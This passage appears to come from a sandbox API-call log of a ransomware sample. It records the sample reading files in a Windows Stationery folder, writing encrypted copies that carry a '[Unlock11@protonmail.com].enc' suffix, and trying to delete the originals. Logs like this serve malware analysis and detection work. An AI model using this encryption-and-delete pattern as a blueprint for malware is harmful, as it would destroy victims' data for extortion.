Ptr=0x36f8548, Size=0x105) returned 0x36f8548 [0123.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0123.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69e8 | out: hHeap=0x2ad0000) returned 1 [0123.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x108) returned 0x382a018 [0123.519] GetLastError () returned 0x0 [0123.519] GetLastError () returned 0x0 [0123.519] GetLastError () returned 0x0 [0123.519] GetLastError () returned 0x0 [0123.519] GetCurrentThreadId () returned 0x9b0 [0123.519] GetLastError () returned 0x0 [0123.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382a018 | out: hHeap=0x2ad0000) returned 1 [0123.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0123.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.520] GetLastError () returned 0x0 [0123.520] GetLastError () returned 0x0 [0123.520] GetCurrentThreadId () returned 0x9b0 [0123.520] GetLastError () returned 0x0 [0123.520] GetLastError () returned 0x0 [0123.520] GetLastError () returned 0x0 [0123.520] GetCurrentThreadId () returned 0x9b0 [0123.520] GetLastError () returned 0x0 [0123.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8658 | out: hHeap=0x2ad0000) returned 1 [0123.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.520] GetLastError () returned 0x0 [0123.521] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.521] CloseHandle (hObject=0x3ac) returned 1 [0123.522] GetLastError () returned 0x0 [0123.522] GetCurrentThreadId () returned 0x9b0 [0123.522] GetLastError () returned 0x0 [0123.522] GetCurrentThreadId () returned 0x9b0 [0123.522] GetLastError () returned 0x0 [0123.522] CloseHandle (hObject=0x39c) returned 1 [0123.522] GetLastError () returned 0x0 [0123.522] GetCurrentThreadId () returned 0x9b0 [0123.522] GetLastError () returned 0x0 [0123.522] GetLastError () returned 0x0 [0123.522] GetLastError () returned 0x0 [0123.523] GetLastError () returned 0x0 [0123.523] GetLastError () returned 0x0 [0123.523] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0 [0123.523] GetLastError () returned 0x5 [0123.523] GetCurrentThreadId () returned 0x9b0 [0123.523] GetLastError () returned 0x5 [0123.523] GetLastError () returned 0x5 [0123.523] GetLastError () returned 0x5 [0123.523] GetLastError () returned 0x5 [0123.524] LocalFree (hMem=0x1053cd0) returned 0x0 [0123.524] GetLastError () returned 0x5 [0123.524] GetLastError () returned 0x5 [0123.524] GetLastError () returned 0x5 [0123.524] GetLastError () returned 0x5 [0123.524] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", lpFilePart=0x9bada4*="Garden.jpg") returned 0x44 [0123.524] GetCurrentThreadId () returned 0x9b0 [0123.524] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0123.524] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0123.524] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0123.525] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0123.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac88 [0123.525] GetLastError () returned 0x0 [0123.525] GetLastError () returned 0x0 [0123.525] GetLastError () returned 0x0 [0123.525] GetLastError () returned 0x0 [0123.525] GetCurrentThreadId () returned 0x9b0 [0123.525] GetLastError () returned 0x0 [0123.525] GetCurrentThreadId () returned 0x9b0 [0123.525] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac88 | out: hHeap=0x2ad0000) returned 1 [0123.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.526] GetLastError () returned 0x0 [0123.526] GetLastError () returned 0x0 [0123.526] GetLastError () returned 0x0 [0123.526] GetLastError () returned 0x0 [0123.526] GetCurrentThreadId () returned 0x9b0 [0123.526] GetLastError () returned 0x0 [0123.526] GetLastError () returned 0x0 [0123.526] GetLastError () returned 0x0 [0123.526] GetLastError () returned 0x0 [0123.526] GetLastError () returned 0x0 [0123.526] GetCurrentThreadId () returned 0x9b0 [0123.527] GetLastError () returned 0x0 [0123.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.527] GetLastError () returned 0x0 [0123.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0123.527] GetLastError () returned 0x0 [0123.527] GetLastError () returned 0x0 [0123.527] GetLastError () returned 0x0 [0123.527] GetCurrentThreadId () returned 0x9b0 [0123.527] GetLastError () returned 0x0 [0123.527] GetCurrentThreadId () returned 0x9b0 [0123.527] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0123.528] GetLastError () returned 0x0 [0123.528] GetLastError () returned 0x0 [0123.528] GetLastError () returned 0x0 [0123.528] GetLastError () returned 0x0 [0123.528] GetCurrentThreadId () returned 0x9b0 [0123.528] GetLastError () returned 0x0 [0123.528] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0123.528] GetLastError () returned 0x0 [0123.528] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0123.528] GetLastError () returned 0x0 [0123.528] GetLastError () returned 0x0 [0123.529] GetLastError () returned 0x0 [0123.529] GetCurrentThreadId () returned 0x9b0 [0123.529] GetLastError () returned 0x0 [0123.529] GetLastError () returned 0x0 [0123.529] GetLastError () returned 0x0 [0123.529] GetLastError () returned 0x0 [0123.529] GetLastError () returned 0x0 [0123.529] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.529] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f)) returned 1 [0123.530] GetLastError () returned 0x0 [0123.530] GetCurrentThreadId () returned 0x9b0 [0123.530] GetLastError () returned 0x0 [0123.530] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db850 | out: hHeap=0x2ad0000) returned 1 [0123.530] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a9bc | out: pbBuffer=0x366a9bc) returned 1 [0123.530] GetCurrentThreadId () returned 0x9b0 [0123.530] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0123.530] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0123.530] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0123.530] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.530] GetLastError () returned 0x0 [0123.530] GetLastError () returned 0x0 [0123.531] GetLastError () returned 0x0 [0123.531] GetLastError () returned 0x0 [0123.531] GetCurrentThreadId () returned 0x9b0 [0123.531] GetLastError () returned 0x0 [0123.531] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.531] GetCurrentThreadId () returned 0x9b0 [0123.531] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.531] GetLastError () returned 0x0 [0123.531] GetLastError () returned 0x0 [0123.531] GetLastError () returned 0x0 [0123.532] GetLastError () returned 0x0 [0123.532] GetCurrentThreadId () returned 0x9b0 [0123.532] GetLastError () returned 0x0 [0123.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6b18 [0123.532] GetCurrentThreadId () returned 0x9b0 [0123.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3df0 | out: hHeap=0x2ad0000) returned 1 [0123.532] GetLastError () returned 0x0 [0123.532] GetLastError () returned 0x0 [0123.532] GetLastError () returned 0x0 [0123.532] GetLastError () returned 0x0 [0123.533] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.533] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a48 [0123.533] GetLastError () returned 0x0 [0123.533] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.533] GetFileType (hFile=0x39c) returned 0x1 [0123.533] GetLastError () returned 0x0 [0123.533] GetCurrentThreadId () returned 0x9b0 [0123.533] GetLastError () returned 0x0 [0123.533] GetFileType (hFile=0x39c) returned 0x1 [0123.534] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.534] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.534] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.534] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.534] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.534] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.534] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.534] GetLastError () returned 0x0 [0123.534] GetCurrentThreadId () returned 0x9b0 [0123.534] GetLastError () returned 0x0 [0123.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a48 | out: hHeap=0x2ad0000) returned 1 [0123.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0123.534] GetLastError () returned 0x0 [0123.535] GetLastError () returned 0x0 [0123.535] GetLastError () returned 0x0 [0123.535] GetLastError () returned 0x0 [0123.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a78 [0123.535] GetLastError () returned 0x0 [0123.535] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.535] GetFileType (hFile=0x3ac) returned 0x1 [0123.535] GetLastError () returned 0x0 [0123.536] GetCurrentThreadId () returned 0x9b0 [0123.536] GetLastError () returned 0x0 [0123.536] GetFileType (hFile=0x3ac) returned 0x1 [0123.536] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.536] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.536] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.536] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.536] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.536] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.536] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.536] GetLastError () returned 0x0 [0123.536] GetCurrentThreadId () returned 0x9b0 [0123.537] GetLastError () returned 0x0 [0123.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0123.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0123.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0123.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.537] GetLastError () returned 0x0 [0123.537] GetLastError () returned 0x0 [0123.537] GetCurrentThreadId () returned 0x9b0 [0123.537] GetLastError () returned 0x0 [0123.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.537] GetLastError () returned 0x0 [0123.538] GetLastError () returned 0x0 [0123.538] GetCurrentThreadId () returned 0x9b0 [0123.538] GetLastError () returned 0x0 [0123.538] GetLastError () returned 0x0 [0123.540] GetLastError () returned 0x0 [0123.540] GetCurrentThreadId () returned 0x9b0 [0123.540] GetLastError () returned 0x0 [0123.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b18 | out: hHeap=0x2ad0000) returned 1 [0123.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x5d58) returned 0x35bc9f0 [0123.540] GetCurrentThreadId () returned 0x9b0 [0123.540] GetLastError () returned 0x0 [0123.541] GetLastError () returned 0x0 [0123.541] GetLastError () returned 0x0 [0123.541] GetLastError () returned 0x0 [0123.541] GetCurrentThreadId () returned 0x9b0 [0123.541] GetLastError () returned 0x0 [0123.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0123.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.541] GetLastError () returned 0x0 [0123.542] GetLastError () returned 0x0 [0123.543] GetLastError () returned 0x0 [0123.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fe2a8 | out: hHeap=0x2ad0000) returned 1 [0123.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fe2a8 [0123.543] GetLastError () returned 0x0 [0123.543] GetLastError () returned 0x0 [0123.543] GetLastError () returned 0x0 [0123.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fe2a8 | out: hHeap=0x2ad0000) returned 1 [0123.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.543] GetLastError () returned 0x0 [0123.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.544] CloseHandle (hObject=0x3ac) returned 1 [0123.544] GetLastError () returned 0x0 [0123.544] GetLastError () returned 0x0 [0123.544] GetLastError () returned 0x0 [0123.544] CloseHandle (hObject=0x39c) returned 1 [0123.544] GetLastError () returned 0x0 [0123.545] GetLastError () returned 0x0 [0123.545] GetLastError () returned 0x0 [0123.545] GetLastError () returned 0x0 [0123.545] GetLastError () returned 0x0 [0123.545] GetLastError () returned 0x0 [0123.545] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0 [0123.545] GetLastError () returned 0x5 [0123.545] GetLastError () returned 0x5 [0123.545] GetLastError () returned 0x5 [0123.546] GetLastError () returned 0x5 [0123.546] GetLastError () returned 0x5 [0123.546] LocalFree (hMem=0x1053c70) returned 0x0 [0123.546] GetLastError () returned 0x5 [0123.546] GetLastError () returned 0x5 [0123.546] GetLastError () returned 0x5 [0123.546] GetLastError () returned 0x5 [0123.546] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm", lpFilePart=0x9bada4*="Green Bubbles.htm") returned 0x4b [0123.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0123.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.547] GetLastError () returned 0x0 [0123.547] GetLastError () returned 0x0 [0123.547] GetLastError () returned 0x0 [0123.547] GetLastError () returned 0x0 [0123.547] GetLastError () returned 0x0 [0123.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa80 | out: hHeap=0x2ad0000) returned 1 [0123.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eabc0 [0123.547] GetLastError () returned 0x0 [0123.547] GetLastError () returned 0x0 [0123.548] GetLastError () returned 0x0 [0123.548] GetLastError () returned 0x0 [0123.548] GetLastError () returned 0x0 [0123.548] GetLastError () returned 0x0 [0123.548] GetLastError () returned 0x0 [0123.548] GetLastError () returned 0x0 [0123.548] GetLastError () returned 0x0 [0123.548] GetLastError () returned 0x0 [0123.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eabc0 | out: hHeap=0x2ad0000) returned 1 [0123.548] GetLastError () returned 0x0 [0123.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0123.549] GetLastError () returned 0x0 [0123.549] GetLastError () returned 0x0 [0123.549] GetLastError () returned 0x0 [0123.549] GetLastError () returned 0x0 [0123.549] GetLastError () returned 0x0 [0123.549] GetLastError () returned 0x0 [0123.549] GetLastError () returned 0x0 [0123.549] GetLastError () returned 0x0 [0123.549] GetLastError () returned 0x0 [0123.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0123.550] GetLastError () returned 0x0 [0123.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0123.550] GetLastError () returned 0x0 [0123.550] GetLastError () returned 0x0 [0123.550] GetLastError () returned 0x0 [0123.550] GetLastError () returned 0x0 [0123.550] GetLastError () returned 0x0 [0123.550] GetLastError () returned 0x0 [0123.550] GetLastError () returned 0x0 [0123.550] GetLastError () returned 0x0 [0123.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.551] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1 [0123.551] GetLastError () returned 0x0 [0123.551] GetLastError () returned 0x0 [0123.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0123.551] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa0c | out: pbBuffer=0x366aa0c) returned 1 [0123.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0123.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0123.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacb0 [0123.552] GetLastError () returned 0x0 [0123.552] GetLastError () returned 0x0 [0123.552] GetLastError () returned 0x0 [0123.552] GetLastError () returned 0x0 [0123.552] GetLastError () returned 0x0 [0123.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacb0 | out: hHeap=0x2ad0000) returned 1 [0123.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0123.552] GetLastError () returned 0x0 [0123.552] GetLastError () returned 0x0 [0123.552] GetLastError () returned 0x0 [0123.553] GetLastError () returned 0x0 [0123.553] GetLastError () returned 0x0 [0123.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9e0 | out: hHeap=0x2ad0000) returned 1 [0123.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4598 | out: hHeap=0x2ad0000) returned 1 [0123.553] GetLastError () returned 0x0 [0123.553] GetLastError () returned 0x0 [0123.553] GetLastError () returned 0x0 [0123.553] GetLastError () returned 0x0 [0123.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ac8 [0123.553] GetLastError () returned 0x0 [0123.554] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.554] GetFileType (hFile=0x39c) returned 0x1 [0123.561] GetLastError () returned 0x0 [0123.561] GetLastError () returned 0x0 [0123.561] GetFileType (hFile=0x39c) returned 0x1 [0123.561] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.561] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.562] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.562] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.562] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.562] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.562] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.562] GetLastError () returned 0x0 [0123.562] GetCurrentThreadId () returned 0x9b0 [0123.562] GetLastError () returned 0x0 [0123.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ac8 | out: hHeap=0x2ad0000) returned 1 [0123.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0123.562] GetLastError () returned 0x0 [0123.562] GetLastError () returned 0x0 [0123.562] GetLastError () returned 0x0 [0123.563] GetLastError () returned 0x0 [0123.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ac8 [0123.563] GetLastError () returned 0x0 [0123.563] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.564] GetFileType (hFile=0x3ac) returned 0x1 [0123.564] GetLastError () returned 0x0 [0123.564] GetCurrentThreadId () returned 0x9b0 [0123.564] GetLastError () returned 0x0 [0123.564] GetFileType (hFile=0x3ac) returned 0x1 [0123.564] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.565] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.565] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.565] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.565] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.565] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.565] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.565] GetLastError () returned 0x0 [0123.565] GetCurrentThreadId () returned 0x9b0 [0123.565] GetLastError () returned 0x0 [0123.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ac8 | out: hHeap=0x2ad0000) returned 1 [0123.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0123.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 